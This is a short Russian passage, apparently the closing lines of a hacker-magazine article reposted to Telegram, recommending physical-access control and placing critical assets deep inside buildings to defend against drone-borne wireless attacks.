  • кон­троль физичес­кого дос­тупа в пре­делах ради­уса дей­ствия бес­про­вод­ных устрой­ств — пос­коль­ку дрон глав­ным обра­зом нап­равлен на обход физичес­ких барь­еров, а не тех­ничес­ких уяз­вимос­тей, защиту от него мож­но рас­смат­ривать в том же клю­че;
  • раз­мещение кри­тичес­ких объ­ектов вда­ли от внеш­них огражда­ющих конс­трук­ций — в глу­бине защищен­ного зда­ния или под зем­лей.

Читайте ещё больше платных статей бесплатно: https://t.me/xakep_1


Report Page